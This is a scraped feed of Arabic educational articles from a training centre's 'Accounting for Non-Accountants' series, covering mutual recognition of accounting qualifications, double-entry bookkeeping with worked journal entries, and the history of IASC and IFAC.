بالرغم من أن الجات متعددة الجنسية في مداها، إلا أنها تترك مجالاً للتنفيذ الثنائي.  ويعتقد الاتحاد الدولي للمحاسبين بأن أكثر الطرق فاعلية هي مبادرات الاعتراف الثنائي.  فالاختلاف الموجود في مستويات التعليم والامتحانات ومتطلبات الخبرة والقضايا المهنية والنفوذ التنظيمي وغير ذلك من الأمور الذي تجعل من الصعب جداً تطبيق الاعتراف على أسس متعددة الجوانب، بينما الاعترافات الثنائية تمكن أي قطرين من التركيز على القضايا الرئيسية ذات العلاقة بالبيئة الموجودة فيهما. وما أن تأخذ الاعترافات الثنائية طريقها حتى تتبعها اتفاقيات أخرى مثلها مما يؤدي فيما بعد آلياً الى توسيع الاعتراف المتبادل الى مدى أكبر.

مبادئ الاعتراف بالمؤهلات المهنية

  • تطالب الجات بألا يتجاوز معيار الاعترافات ما هو لازم للتكفل بجودة الخدمة. ومن المعروف أن لكل بلاد طرقها لمقارنة المؤهلات المهنية، ويجب تطبيقها بشكل عادل ومتسق على كافة الطالبين.  ويوصي الاتحاد الدولي للمحاسبين أن تكون طريقة التقييم مبنية على عناصر المؤهل المهني  وهي من ضمن الثلاثة مناطق الآتية:
  • التعليم: معايير الدخول/ إجمالي المعرفة.
  • الامتحانات: اختبارات الكفاءة المهنية.
  • الخبرة : التي لها علاقة بأعمال الممارسة.

      ويقترح تطبيق المبادئ التالية عند تطبيق عملية التقييم.  وهي مبادئ موازنة لإرشادات التعليم العالمي (9)، وقد وضعت هنا لأنها وجدت قبولاً واسعاً في المهنة لتلبية متطلبات المحافظة على معاييرها العالية وعلى المصلحة العامة.  وعلاوة على ذلك ففي إمكانها مساعدة البلدان المتفاوضة للتوصل إلى الاعتراف المتبادل، لاتخاذ قرارات مبنية على دراية بدرجة تعادل متطلبات التعليم الأساسية.  وهذا إجراء جوهري لأنه سيكون في إمكان الطرفين المتفاوضين أن يستمرا في التفاوض بدون تعثر متى كان هناك تعادلاً كافياً في متطلباتهما التعليمية الأساسية.

 

 

 

متطلبات الاعتراف المتبادل في ظل العولمة

أولا: التعليم

تشمل المعرفة النظرية، التي يجب أن تكون في صلب معارف الأشخاص الباحثين على الاعتراف، المواضيع التالية على الأقل:

  • التحليل والتقييم الناقد للبيانات المالية.
  • المراجعة.
  • الحسابات المجمعة.
  • محاسبة التكاليف والمحاسبة الإدارية.
  • المحاسبة العامة.
  • أنظمة الرقابة الداخلية.
  • المتطلبات القانونية والمهنية بممارسة المهام المخصصة التي يعنيها الأمر.
  • المعايير ذات العلاقة بالبيانات المالية.

وعلاوة على ما تقدم يجب أن يغطي صلب المعارف المجالات الآتية كحد أدنى في علاقاتها بالمهام المخصصة:

  • المبادئ الأساسية للإدارة المالية للمشاريع.
  • اقتصاد العمل، والاقتصاد العام، والاقتصاد المالي.
  • القانون المدني والقانون التجاري.
  • تقنية المعلومات والمنظومات.
  • قانون الإعسار والإجراءات المثيلة.
  • الرياضيات والإحصاء.
  • تقديم الخدمات المالية والمشورة … الخ
  • التصرف والسلوك المهني.
  • الضمان الاجتماعي وقانون الاستخدام.
  • قانون الضرائب.

ويجب على الطالبين أن يكونوا قد غطوا هذه المواضيع بشمولية وعمق كافيين لتمكينهم من القيام بالوظيفة المعنية بالمستوى المطلوب.  وفي سبيل التكفل بهذا يجب القيام بفحص البرامج التعليمية ذات العلاقة ومحتوياتها.

ثانيا: الامتحانات

  • يجب على المرشحين للاعتراف بالمؤهلات المهنية أن يثبتوا أنهم اجتازوا الامتحان بكفاءة مهنية، ويجب أن لا يقيس هذا الامتحان مستوى المعرفة النظرية اللازمة فقط، بل أيضاً القدرة على استعمال تلك المعرفة بجدارة في الميدان العملي.  ولذلك فإن تقييم الامتحانات المهنية يصبح عنصراً رئيسياً في عملية الاعتراف.
  • ويجب ألا تشعر الهيئات العضو بالرضا لمجرد أن التقييم الذي طبق على الطالبين يختبر بحق معارفهم وقدرتهم على استغلالها، بل يجب التأكد من أن سياسات وإجراءات بنية تلك الأسئلة، وسريتها، وطريقة إعطاء الدرجات كافية لضمان سلامة عملية التقييم. ويجب أيضاً التوصل إلى اتفاقيات على ضرورة إجراء مراجعات دورية لعملية التعليم والتقييم للمؤهلات التي يعترف بها، للتأكد من أن شروط الاعتراف مطبقة باستمرار.
  • وأيضاً يختلف محتوى ودقة ومدى وطول الامتحانات المهنية التي تتناولها الهيئات العضو أو غيرها من السلطات التي تجري الامتحانات. فبعضها يوضع على أساس دراسة حالة والبعض الآخر على أساس استعمال الاختبار الموضوعي إلى مدى واسع.  وبعضها حسابي جداً، بينما البعض الآخر متنوع.  لكن الجوهر هو التكفل بأن يتم تقييم الطالبين بشكل كاف في المجالات ذات العلاقة والى الحد اللازم لتمكينهم من العمل بشكل كفؤ في المهام المخصصة.

 

ثالثا: الخبرة

  • من الجوهري لأي مهني بألا يكون لديه فقط المعرفة النظرية، بل أيضا المقدرة على استغلال تلك المعرفة بكفاءة في ميدان العمل.
  • ومن المقترح بأن يكون الشخص، قبل الاعتراف به لتأدية مهمة مخصصة، قد أكمل سنتين على الأقل في خبرة عملية معتمدة تحت إشراف مناسب وفي مجال يتعلق بالمهنة وفي بيئة مهنية ملائمة.
  • وعلى الهيئات الأعضاء أو السلطات التي تتولى الاعتراف بالمؤهلات الأخرى أن تنظر في متطلبات الخبرة المعنية وأن تبت في كيفية معالجة ما قد يظهر من خلافات، و هذه الخلافات تتعلق عادة بـ:
  • طبيعة ومدى الخبرة المطلوبة (مثلاً: في بعض الأقطار لا تقبل خبرة المحاسبة العامة الخارجية في أغراض الاعتراف للممارسة).
  • طول مدة الخبرة المتحصل عليها، و
  • الإجراءات اللازمة للمصادقة على الخبرة المتحصل عليها (مثلاً: بعض الأقطار تطالب بشهادة أرباب العمل، وبعض الأقطار الأخرى تعتمد على التقارير الدورية من أولئك الذين ينالون الخبرة).
  • وسيحتاج أي تقييم إلى أن يعطي الاعتبار إلى مدى الخبرة ذات العلاقة بالمهمة المخصصة التي نالها الطالب. وقد يؤدي التحليل إلى أن يطلب من الطالب، قبل الاعتراف به في ميدان المنظمة المستضيفة، مزيداً من الخبرة.
  • وقد يعمل البلد المستضيف على فرص مدة خبرة عملية فيه نفسه وذلك للتضلع في قوانينه وممارساته ولوائحه.

العضوية في المنظمات المهنية

أشارت الجات بالاعتراف المتبادل في المؤهلات المهنية، ولكنها لم تشر إلى المعاملة بالمثل في عضوية المنظمات المهنية، ويشكل هذا أهمية خاصة في الأقطار حيث الترخيص/ الممارسة منفصلة عن المنظمة المهنية للمحاسبة.  ويعتقد الاتحاد الدولي للمحاسبين أن روح الاعتراف المتبادل تمتد أيضاً إلى العضوية.  وانه يشجع كافة هيئات المحاسبة المهنية على أن تضع تصنيفات للعضوية، أو تضع طريقة أخرى، يمكن بها للمهنيين الأجانب أن يصبحوا أجزاء من منظمة المحاسبة.  وستساعد العضوية المهنيين الأجانب المعترف بهم في الحفاظ على مقدرتهم وتحسينها في ممارسات البلد المضيف وذلك بالإطلاع على المطبوعات الفنية والاتصال بالمحاسبين المهنيين المحليين والتعرف على ممارسات السلوك المهني وغير ذلك من الأمور.  أن تحسين المقدرة الفنية يفيد بشكل مباشرة المصلحة العامة.

عملية الاعتراف

عند محاولة وضع إجراءات للاعتراف بالمؤهلات الأجنبية يجب اتخاذ الحيطة لمعالجة فوارق الهياكل التنظيمية للمهنة.  ففي البلاد التي فيها إجراءات الاعتراف/ الترخيص غير مركزية، قد تحتاج المنظمة الوطنية إلى التفاوض نيابة عن أعضائها على مستوى المقاطعات أو الولايات مع سلطات الترخيص، هذه السلطات التي تكون هي نفسها ذات متطلبات متفاوتة.  وفي بعض البلدان يتطلب الاعتراف للممارسة الحصول على عضوية إحدى الهيئات المحاسبية المعترف بها محلياً، بينما يتم ذلك الاعتراف في بلدان أخرى إما بواسطة الارتباط بهيئة أو بسلطة الترخيص الحكومية.

معايير الاعتراف المتبادل

وتطالب الجات أن يضع كل بلد إجراءات لتوفير الاعتراف بالمؤهلات الأجنبية.  هذا علاوة على أنه يجب أن تكون تلك الإجراءات شفافة وعادلة أمام جميع الأفراد الراغبين في هذا التأهيل.  وقد تكون هذه الإجراءات متوفرة الآن في بعض البلدان والهيئات العضو لكنها غير متوفرة في بلدان أخرى.  وعلى ضوء مناخ الحركية المتزايدة في العولمة، على البلدان الأولى أن تعيد النظر في منظوماتها وأن تعد هيكليات أكثر رسمية، وعلى الأخيرة أن تضع التسهيلات المناسبة وبدون تأخير. ويجب معالجة الأمور التالية:

  • إنشاء اتصالات وطيدة مع المنظمات المهنية في البلدان الأخرى لتقييم مختلف المعايير.
  • وضع طريقة لتقييم نظام التعليم ومناهج الدراسة ومنح الشهادات في بلدان أجنبية ومقارنتها بالمتطلبات المحلية، وهذا مهم بشكل خاص في الحالات التي يكون فيها التعليم ما قبل التأهيل لا يعتمد على النظام الجامعي.
  • تقييم أنظمة الامتحانات في البلدان الأجنبية من منظور محتوى الامتحان وطريقته.
  • تشكيل مجلس هيئة فحص، أو أي هيكلية مشابهة، لتحليل نتائج الخطوات المذكورة أعلاه ولنشر وتسيير البرامج لتسهيل الاعتراف بالمؤهلات الأجنبية، ويمكن لهذه الهيئة أن تستعمل نقاط مرجع دولي (مثل الاتحاد الدولي للمحاسبين (9)، للتوصية بالامتحانات خاصة وبرامج أخرى تمكن الطالبين من إظهار مقدرتهم في المتطلبات المحلية الصرفة.

 

***

انتهت بحمد الله المقالة الثالثة لمسار كيم التعليمي للمحاسبة لغير المحاسبين

بقلم أ. د/ مدحت كمال

أستاذ المحاسبة والمراجعة – كلية التجارة – جامعة عين شمس

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات -المحاسبة لغير المحاسبين-بقلم أ. د/ مدحت كمال- المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]>
https://cameknowledge.camecenter.com/articles/accounting_for_non-accountants-3/feed/ 0
سلسلة مقالات -المحاسبة لغير المحاسبين-بقلم أ. د/ مدحت كمال- المقالة الثانية https://cameknowledge.camecenter.com/articles/accounting_for_non-accountants-2/ https://cameknowledge.camecenter.com/articles/accounting_for_non-accountants-2/#respond Sat, 15 Apr 2023 13:23:50 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10489 سلسلة مقالات – المحاسبة لغير المحاسبين بقلم أ. د/ مدحت كمال المقالة الثانية  النظام المحاسبي..عناصره وكيفية استخدامه عناصر النظام المحاسبي: يمكن تعريف النظام المحاسبي: بأنه مجموعة الوثائق والسجلات والتقارير والتعليمات المستخدمة لإتمام الدورة المحاسبية أو لتحقيق هدف المحاسبة. و تظهر العلاقة بين هذه العناصر في الشكل التالي: وثائق ـــــــ> سجلات ــــــ> تقارير . فالوثائق : […]

The post سلسلة مقالات -المحاسبة لغير المحاسبين-بقلم أ. د/ مدحت كمال- المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]>
سلسلة مقالات – المحاسبة لغير المحاسبين

بقلم أ. د/ مدحت كمال

المقالة الثانية

 النظام المحاسبي..عناصره وكيفية استخدامه

عناصر النظام المحاسبي:
يمكن تعريف النظام المحاسبي: بأنه مجموعة الوثائق والسجلات والتقارير والتعليمات المستخدمة لإتمام الدورة المحاسبية أو لتحقيق هدف المحاسبة.
و تظهر العلاقة بين هذه العناصر في الشكل التالي:
وثائق ـــــــ> سجلات ــــــ> تقارير .
فالوثائق : هي المستندات الأصلية من فواتير إيصالات قبض أو صرف، أو ما شابه ذلك، أو مستندات فرعية تنتج عن المستند الأصلي إن وجد، أو عن مضمونه إن لم يوجد، أو ترجمة لإجراء يمليه الالتزام بمعايير المحاسبة.

النوع الآخر من الوثائق هو ما يعرف بمستند القيد vouchers .
ومن أمثلة مستندات القيد في المحاسبة، سند القبض، سند الصرف، سند قيد اليومية..
ما يجب أن يحتوي عليه مستند القيد :
1. موضوع المستند أو موضوع الإجراء ( شراء، بيع ، إيجار..).
2. تاريخ الإجراء.
3. المبلغ المدفوع أو الملتزم بدفعه.
4. أن يفهم من المستند الطرف المستفيد من المنعة، والطرف المستفيد من العوض، ويعتبر المستند أساساً للقيد، أو أولى حلقات الدورة المحاسبية سواء كان النظام المستخدم آلي أو يدوي .

تنقسم السجلات إلى قسمين :
سجل اليومية journal
سجل الأستاذ ledger
سجل اليومية العامة: General Journal سجل تقيد به المعلومات المالية أولا بأول حسب تسلسل تاريخ حدوثها.
سجل الأستاذ العام : فهو سجل يحتوي على الحسابات التي تمسكها المنشأة بحيث يخصص لكل حساب Account حيز محدد يظهر هذا الحيز حركة المبالغ التي أثرت على ذلك الحساب، كما يظهر وضع الحساب أو ما يعرف فنياً برصيد الحساب.

التقارير المالية Financial Reports:
وتمثل الحلقة الأخيرة في سلسلة النظام المحاسبي أو الدورة المحاسبية.
والتقارير المالية هي الوسيلة التي يتم بها توصيل المعلومات المالية بعد معالجتها بشكل مناسب إلى المستفيد من هذه المعلومات.

أقسام التقارير المالية من حيث الشكل:
1. تقارير خاصة .
2. تقارير عامة.
التقارير الخاصة : هي ما تطلب لتحقيق غرض معين يخدم فئة معينة.
تقارير عامة: وهو ما يعرف بالتقارير المالية.
Financial Statements التي تعد آخر كل سنة مالية بشكل يتفق مع معايير المحاسبة المقبولة وتنشر بالوسائل المناسبة ليطلع عليها أصحاب العلاقة .
وهذه التقارير هي :
1. قائمة المركز المالي Statement Of Financial Position.
2. قائمة الدخل Income Statement: وهي القائمة التي تظهر نتيجة أعمال المنشاة خلال فترة معينة.
ومن الجدير بالذكر أن هاتين القائمتين هم المنصوص عليهما في نظام الشركات بالمملكة، وإن كان هناك قوائم أخرى وهي غير ملزمة في الوقت الحاضر في المملكة وهي:
• قائمة التدفقات المالية. Statement Of Cash Flows
• قائمة التغيير في المركز المالي.
Statement Of Change in Financial Position.
• قائمة الأرباح المبقاة.
Statement Of Retained Earnings.
• قائمة التغيير في حقوق الملاك.
Statement Of Change in Owner’s Equity.
وتجب ملاحظة إن إعداد هذه القوائم أو بعضها يزيد من درجة الإفصاح.

أنواع الحسابات :
1. الاصول.
2. الخصوم.
3. حقوق الملاك.
4. الإيردات.
5. المصروفات.
الأصول: تمثل ما تحت يد المنشأة أو مالها من أشياء أو منافع ذات قيمة سواء كانت هذه الأشياء أو المنافع ملموسة أو غير ملموسة.

 

الخصوم: تمثل ما على المنشاة للغير من التزامات.
أو بعبارة أخرى: ما على المنشاة من ديون في أي شكل ظهرت سواء كانت هذه الديون قصيرة أو متوسطة أو طويلة الأجل ، وسواء كانت برهن أو بغيره، ويدخل ضمن الخصوم ما قدمه الغير للمنشاة في شكل تأمين أو مقدماً لشراء بضاعة أو خدمات من المنشاة قبل أن تقدم له البضاعة أو الخدمة.

حقوق الملاك: ما يملكه صاحب أو أصحاب المنشاة من أموال استثمرت في المنشأة، سواء كان مصدر الاستثمار ما قدمه المالك أو الملاك من مال ليستثمر في المنشاة، وهو ما يعبر عنه برأس المال أو ما تحقق للمنشاة من أرباح بقيت تستثمر في المنشأة ولم يسحبها المالك أو الملاك أولم توزع عليهم، ويدخل ضمنها أيضاً الحساب الجاري للمالك، والمقصود به الحساب الذي ينظم العلاقة اليومية بين المنشأة وصاحبها.

الإيرادات: هي ما حققته المنشاة من بيع سلعها أو خدماتها (حسب نوع المنشاة) سواء سدد ذلك أم لا.
المصروفات : وهي ما أنفقته المنشاة أو التزمت به من نفقات في سبيل العمل للحصول على الإيراد.
مع ملاحظة أن كل نوع من هذه الأنواع ينضوي تحته عدد من الحسابات يكثر أو يقل حسب نوع المنشاة وحجمها.

طريقة القيد المزدوج.
يتم القيد في دفتر أو سجل اليومية وفق أسلوب معين يسمى: طريقة القيد المزدوج.
و هذه الطريقة تقتضي أن يقيد المبلغ في طرفين كل منها يحتوي على حساب أو أكثر, و يكون أحدهما مديناً و الآخر دائناً.
أما تحديد الحساب المدين و الحساب الدائن في الإجراءات المالية فيكون بجعل الطرف الذي أخذ المنفعة مديناً, و الطرف الذي أعطى المنفعة يعتبر دائناً.

– يعبر محاسباً عن ما للمنشأة من أموال أو أوجه استخدام الأموال بكلمة الأصول
أما ما عليها من أموال أو مصادر للأموال من الدائنين (الخصوم ) أو الحقوق أصحاب المنشأة (حقوق الملاك)
وعليه تكون معادلة الميزانية
الأصول= الخصوم+حقوق الملاك
وإذا ما أضيفت المصروفات والإيرادات تكون المعادلة كما يلي:
الأصول + المصروفات= الخصوم + حقوق الملاك+ الإيرادات
وعليه فإن حسابات الطرف الأيمن من المعادلة (الأصول والمصروفات) تجعل مدينة عندما تزداد أو يضاف عليها ، وتجعل دائنة عندما تنقص أو يؤخذ منها.
وبالمقابل فإن حسابات الطرف الأيسر من المعادلة تجعل مدينة عندما تنقص، وتجعل دائنة عندما تزداد.

استخدام النظام المحاسبي
القيد في سجل اليومية:
نفرض أن صاحب المنشأة أحمد قام بإيداع مبلغ 300000ريال في البنك كرأس مال لمنشأته.. وعليه فإن أصول المنشأة تزيد وكذلك حقوق الملاك
الأصول = الخصوم + حقوق الملاك
300000البنك = صفر+ 300000رأس المال
ويكون القيد كما يلي:
300000 من حـ/ البنك
300000 إلى حـ/رأس المال
(قيمة رأس المال الذي أودع في البنك)
2\بافتراض أن المنشأة استأجرت مكتب لمدة سنة دفعت للمؤجر مبلغ 20000 ريال للسنة الأشهر الأولى من السنة إن تأثير هذه العملية على المنشأة يتمثل في تحوير أصولها أي استبدال أصل بآخر، فهي استبدلت النقد البالغ 20000 بحق استعمال المكتب لمدة ستة أشهر، وتكون معادلة الميزانية كما يلي:
الأصول = الخصوم+ حقوق الملاك
280000 بنك + 20000إيجار مقدم = صفر + 30000 رأس المال
ويكون قيد اليومية كما يلي:
20000 من حـ/ الإيجار المقدم
20000 إلى حـ/ البنك
(دفع مبلغ 20000 إيجار لستة الأشهر الأولى من السنة)
وفي اليوم التالي قامت منشأة أحمد بالعمليات الآتية:
1- اشترت أثاثاً بمبلغ 40000 ريال دفعتها من حسابها بالبنك
2- سحبت من المبلغ 10000 ريال لتوضع في صندوق المنشأة للصرف منها على المصروفات النثرية.
3- اشترت سيارة بمبلغ 45000 ريال دفع منها 20000 ريال بشيك والباقي ديناً على المنشأة.
4 – دفعت المنشأة 3000 ريال ، ألف تأمين للكهرباء والباقي تأمين للهاتف بشيك
5- أخذ أحمد 1000 من صندوق المنشأة لمصروفاته الخاصة
التأثير على المعادلة الميزانية:
الأصول = الخصوم + حقوق الملاك
1) 240000 البنك+ 20000 إيجار مقدم + 40000 أثاث = صفر + 300000 رأس المال
2) 240000 البنك+ 20000 إيجار مقدم + 40000 أثاث + 10000 صندوق= صفر + 300000 رأس المال
3) 240000 البنك+ 20000 إيجار مقدم + 40000 أثاث + 10000 صندوق +45000 سيارة= 25000 دائنين + 300000 رأس المال
4) 240000 البنك+ 20000 إيجار مقدم + 40000 أثاث + 10000 صندوق +45000 سيارة + 1000 تأمين كهرباء + 2000 تأمين هاتف= 25000 دائنين +3000000 رأس مال
5) 240000 البنك+ 20000 إيجار مقدم + 40000 أثاث + 10000 صندوق +45000 سيارة + 1000 تأمين كهرباء + 2000 تأمين هاتف = 25000 دائنين + 300000 رأس مال- 1000-جاري أحمد
وعليه يكون قيود اليومية كما يلي:
1- 40000 من حـ/ الأثاث
40000 إلى حـ/ البنك
( شراء أثاث مكتبي بمبلغ 40000 ريال )
2- 10000 من حـ/ الصندوق
10000 إلى حـ/ البنك
( سحب 10000 من البنك لتمويل الصندوق)
3- 45000 من حـ/السيارات
إلى مذكورين
20000 حـ/ البنك
25000 حـ/ الدائنين
( شراء سيارة بمبلغ 4500 دفع منها 20000 ريال والباقي على الحساب)
4- من المذكورين
1000 حـ/ تأمين كهرباء
2000 حـ/ تأمين الهاتف
3000 إلى حـ/ البنك
(دفع 3000 تأمين كهرباء وهاتف)
……….

5- 1000 من حـ/ جاري أحمد ( المالك)
1000 إلى حـ/الصندوق
( ما سحبه أحمد من الصندوق لمصروفاته الخاصة)

ولتكتمل الصورة نفترض أن منشأة أحمد قامت بالعمليات الآتية في المدة الباقية من السنة
1)دفعت مبلغ 70000 ريال رواتب للموظفين بشيكات
2) قدمت خدمات استشارية بمبلغ 250000 ريال منها 150000 ريال حصلت بموجب شيك والباقي لا يزال على الحساب
3) دفعت إيجار النصف الآخر من السنة البالغ 20000 ريال بشيك

والمطلوب : عمل القيود اليومية اللازمة لذلك.

 

 

 

تطور مهنة المحاسبة

إن مهنة المحاسبة كغيرها من المهن كالطب والهندسة لها دورها ومكانتها وأهميتها المجتمعات المتطورة، فقد أفردت لها دراسات متخصصة في الجامعات لتدريس أصولها وقواعدها وأسست لها جمعيات مهنية محلية ودولية تعقد الامتحانات التأهيلية لعضويتها، و تحرص على تطوير مستوى الكفاءة والممارسة والسلوك المهني بين أعضائها وتعمل على حماية وحفظ استقلاليتهم وممارسة الرقابة المهنية عليهم والقيام بكل ما من شأنه تقدم وحماية سمعة المهنة سواء فيما يتعلق بالممارسة المهنية أو الخدمة في مجال الصناعة أو التجارة أو الخدمة العامة.

ميزات مهنة المحاسبة عن المهن الأخرى

إن مهنة المحاسبة وإن كانت تشبه غيرها من المهن الأخرى من حيث أهمية الدور الذي تقوم به في المجتمع، إلا أنها تختلف عنها من حيث أصولها وقواعدها، فالمحاسبة علم اصطلاحي، غرضه قياس الوضع المالي ونتائج العمليات لنشاط اقتصادي ولعل أوجز تعبير عن طبيعة المحاسبة هو ما يرد في تقرير مراجع الحسابات عبارة “فيما إذا كانت البيانات المالية تظهر بصورة عادلة وضع المؤسسة المالي ونتائج أعمالها وفقاً “للأصول المحاسبية المتعارف عليها” والصورة العادلة في عرف المحاسبين والمراجعين، لا يمكن الحكم عليها بشكل مطلق بل في إطار “الأصول المحاسبية المتعارف عليها”.

تطور مهنة المحاسبة

إن تعبير “معايير المحاسبة المتعارف عليها” هذا هو تعبير فني مصطلح عليه عند المحاسبين دلالته تشمل كل ما هو متفق على أنه مقبول في علم المحاسبة المتبعة في وقت معين وقد تجمعت هذه “المعايير المحاسبية” تدريجياً لمعالجة معاملات تستحدث مع الزمن.  والى أمد قريب، كانت الخبرة والعادة، بل والضرورة العلمية، هي التي تقرر نوع المعالجة للمشاكل التي تطرأ.  والذي كان يجعلها “متعارفاً عليها” هو تبني الشركات والمؤسسات لها، ولو كان تبنياً غير إجماعي.  فإذا اتبعت بعض المؤسسات طريقة ما واتبعت مؤسسات أخرى طريقة ثانية للمشكلة ذاتها، أصبحت كلتا الطريقتين من “المتعارف عليهما” أما المحاسبون ومراجعو الحسابات.  فكان دورهم يقتصر فيما مضى، على إقرار ما أصبح “متعارفاً عليه” من ما ظهر من معالجات محاسبية، حتى ولو تعددت المعالجات للموضوع الواحد.  وحيال هذا الموضوع نتناول فيما يلي وبإيجاز الهيئات الدولية والإقليمية ذات العلاقة بالموضوع بغرض توضيح مفهوم التحديات التي تواجهها مهنة المحاسبة.

لجنة معايير المحاسبة الدولية (IASC) وعولمة مهنة المحاسبة

 

منذ أوائل الستينات ولأسباب كثيرة، طرحت تساؤلات حول دور المحاسبة في النشاط الاقتصادي وحول دور المحاسبين في المجتمع.  فقد طرح المهتمون بالشؤون المالية والاقتصادية في الدول الصناعية تساؤلات عدة عن ذلك الدور وكان لتلك التساؤلات آثار بليغة في المحاسبة وفي عمل المحاسبين، فقد صاحبها إعادة تقييم داخل المهنة، لدور المحاسب في المجتمع ونشطت الجمعيات والمعاهد المحاسبية المهنية في البلدان الصناعية، فشكلت لجان خاصة من ذوي العلم والخبرة لتحديد ذلك الدور الذي فرضه المجتمع.  ولأغراض وضع قواعد عامة “معايير محاسبة” تكون أساساً للأحكام المحاسبية المتفرقة.  فقد قام علماء وخبراء في المحاسبة بدراسات محاسبية مقارنة بين البلدان الصناعية، محاولين الاستفادة في كل بلد من الخبرات المتوفرة في البلاد الأخرى،  ولم يكن وضع معايير عامة تحكم مهنة المحاسبة أمراً سهلاً وبقي التوفيق صعباً بين ما سبق من المعالجات الموجودة المتباينة والمتضاربة حتى تاريخ 29 يونيو 1973 حيث خرجت لجنة معايير المحاسبة الدولية (IASC) الى حيز الوجود أثر اتفاق الجمعيات والمعاهد المهنية الرائدة في استراليا وكندا وفرنسا وألمانيا واليابان والمكسيك وهولندا والمملكة المتحدة وايرلندا والولايات المتحدة الأمريكية على تأسيس “اللجنة الدولية لمعايير المحاسبة” لتقوم بوضع ونشر “المعايير المحاسبية الدولية” بهدف تطوير وتعزيز مهنة محاسبة مترابطة ذات أصول منسقة معروفة ومحددة.

معايير دولية تحكم مهنة المحاسبة

وترتب على وضع “معايير محاسبية دولية متعارف عليها” أن أصبحت مهنة المحاسبة كغيرها من المهن الأخرى لها معاييرها ومبادئ ممارستها وأخلاقياتها المتعارف عليها دولياً حيث يمكن الرجوع إليها والوقوف عليها عند الحاجة وباستخدام تلك المعايير في الممارسة والتقيد بها يمكن الحد من الاجتهادات وتعدد المعالجات للموضوع الواحد.

مجلس الاتحاد

يشرف المجلس وهو مكون من ممثلي الـ 18 بلداً المنتخبين من الجمعية لمدة 2.5 سنة، على برنامج العمل العام للاتحاد الدولي للمحاسبين والميزانية ويشرف، كلما كان مناسباً، على لجان المشاريع الخاصة.  ويعين المجلس لجنة تنفيذية من بين أعضائه لتنفيذ سياساته وقراراته.

الاتحاد الدولي للمحاسبين (IFAC) – نشأته ومهامه

  • ظهر الاتحاد الدولي للمحاسبين الى حيز الوجود نتيجة لمبادرات قدمت سنة 1973، ووافق عليها المؤتمر الدولي للمحاسبين الذي عقد في ميونخ سنة 1977.
  • مهمة الاتحاد الدولي للمحاسبين هي تطوير وتحسين مهمة المحاسبة في العالم بمعايير متجانسة قادرة على تقديم خدمات ذات جودة عالية متجانسة للمصلحة العامة. وأن الاتحاد منظمة للهيئات المحاسبية التي لا تسعى الى الربح وغير حكومية وغير سياسية.
  • يبادر الاتحاد الدولي للمحاسبين بالتعاون مع الهيئات الأعضاء ومنظمات المحاسبة الإقليمية وغيرها من المنظمات العالمية، وينسق ويرشد الجهود الرامية الى توفير بيانات عالمية فنية وسلوكية وتعليمية لمهنة المحاسبة.

عضوية الاتحاد

العضوية في الاتحاد الدولي للمحاسبين مفتوحة لهيئات المحاسبة المعترف بها قانونياً أو بحكم الإجماع في أوطانها كمنظمات ذات أهمية لها سمعتها الحسنة في مهنة المحاسبة.  وتشمل العضوية في الاتحاد الدولي للمحاسبين العضوية في لجنة المعايير الدولية للمحاسبة.  ويبلغ عدد المحاسبين في المنظمات الأعضاء بالاتحاد الدولي للمحاسبين 2.000.000 محاسباً في العمل المهني والخاص والتعليم والحكومة

***

انتهت بحمد الله المقالة الثانية لمسار كيم التعليمي للمحاسبة لغير المحاسبين

بقلم أ. د/ مدحت كمال

أستاذ المحاسبة والمراجعة – كلية التجارة – جامعة عين شمس

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات -المحاسبة لغير المحاسبين-بقلم أ. د/ مدحت كمال- المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]>
https://cameknowledge.camecenter.com/articles/accounting_for_non-accountants-2/feed/ 0
سلسلة مقالات -المحاسبة لغير المحاسبين-بقلم أ. د/ مدحت كمال- المقالة الأولى https://cameknowledge.camecenter.com/articles/accounting_for_non-accountants-1/ https://cameknowledge.camecenter.com/articles/accounting_for_non-accountants-1/#respond Sat, 15 Apr 2023 13:16:43 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10486 سلسلة مقالات – المحاسبة لغير المحاسبين بقلم أ. د/ مدحت كمال المقالة الأولى مقدمة في الفكر المحاسبي المحاسبة هي فرع من العلوم الإدارية, حيث تعني بالمعلومات المالية, و المحاسب هو من يتولى جمع و معالجة هذه المعلومات بطرق فنية تمكن من له علاقة بها الاستفادة منها, و المنتج النهائي لهذه العمليات هي التقارير المالية. و […]

The post سلسلة مقالات -المحاسبة لغير المحاسبين-بقلم أ. د/ مدحت كمال- المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]>
سلسلة مقالات – المحاسبة لغير المحاسبين

بقلم أ. د/ مدحت كمال

المقالة الأولى

مقدمة في الفكر المحاسبي

المحاسبة هي فرع من العلوم الإدارية, حيث تعني بالمعلومات المالية, و المحاسب هو من يتولى جمع و معالجة هذه المعلومات بطرق فنية تمكن من له علاقة بها الاستفادة منها, و المنتج النهائي لهذه العمليات هي التقارير المالية.
و يمكن تعريف المحاسبة فنياً كما عرفته جمعية المحاسبة الأمريكية بأنها: عملية تحديد و قياس و توصيل المعلومات الاقتصادية ليتمكن المستفيدون منها من التصرف في ظل رؤية واضحة.

المستفيدون من المعلومات المحاسبية
يمكن تصنيف المستفيدين من المعلومات المالية التي يعدها المحاسب في شكل تقارير حسب مصدر اهتمامهم بالمنشأة الاقتصادية..
1) أصحاب المنشأة.
2) إدارة المنشأة.
3) الدائنون.
4) المستثمرون
5) الحكومة
6) الموظفون.
7) عملاء المنشأة.
8) عامة الناس.

